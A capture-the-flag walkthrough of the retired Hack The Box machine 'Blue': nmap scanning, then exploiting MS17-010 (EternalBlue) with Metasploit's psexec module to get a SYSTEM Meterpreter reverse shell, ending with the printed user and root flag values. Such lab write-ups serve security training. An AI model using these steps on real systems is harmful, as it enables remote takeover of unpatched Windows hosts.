Blue is an easy level machine in the Hack the Box retired archives. This machine requires a simple enumeration scan to identify services and versions, and knowledge of using pre-configured metasploit modules to exploit a well-known vulnerability. The title of this box should be a major clue to what vulnerabilities might exist.


First, I used nmap and the nmapAutomator script to search the target for open ports, running services, and their corresponding service versions.

└─$ All
└─$ sudo nmap -sV -A -O --top-ports 200                                                                                                    1 ⨯
[sudo] password for kali: 
Starting Nmap 7.91 ( ) at 2021-03-04 15:24 EST
Nmap scan report for
Host is up (0.055s latency).
Not shown: 191 closed ports
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC

The resulting output shows the target was running windows microsoft-ds,netbios, and msrpc. I had a feeling this machine was vulnerable to eternal blue due to the box title. To check my assumption, I opened up metasploit and used a check option in one of the ms17_010 related modules. After setting the RHOST to the target, the check revealed it was likely vulnerable.

msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS
msf6 exploit(windows/smb/ms17_010_psexec) > check

[*] - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+]       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*]       - Scanned 1 of 1 hosts (100% complete)
[+] - The target is vulnerable.
msf6 exploit(windows/smb/ms17_010_psexec) > 

Selecting a Public Exploit

There are a few metasploit modules which can be used to root a machine vulnerable to eternal blue, i decided to use the windows/smb/ms17_010_psexec module. After opening the msfconsole, and selecting the psexec module, I configured the options to use the target as the RHOST and my machine as the LHOST. Running the exploit was successful.

msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 
[*] - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] - Built a write-what-where primitive...
[+] - Overwrite complete... SYSTEM session obtained!
[*] - Selecting PowerShell target
[*] - Executing the payload...
[+] - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to
[*] Meterpreter session 1 opened ( -> at 2021-03-04 15:11:16 -0500

meterpreter > getsystem system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Finding Flags

I stayed in the meterpreter shell to navigate the target and search for flags. Using the search meterpreter command, I found both the user and root flag files.

meterpreter > search -f *user.txt*
Found 3 results...
    c:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\user.txt.lnk (909 bytes)
    c:\Users\haris\AppData\Roaming\Microsoft\Windows\Recent\user.txt.lnk (556 bytes)
    c:\Users\haris\Desktop\user.txt (32 bytes)
meterpreter > type "c:\Users\haris\Desktop\user.txt"
[-] Unknown command: type.
meterpreter > cat "c:\Users\haris\Desktop\user.txt"
4c546aea7dbee75cbd71de245c8deea9meterpreter > 
meterpreter > search -f "root.txt"
Found 1 result...
    c:\Users\Administrator\Desktop\root.txt (32 bytes)
meterpreter > cat "c:\Users\Administrator\Desktop\root.txt"
ff548eb71e920ff6c08843ce9df4e717meterpreter >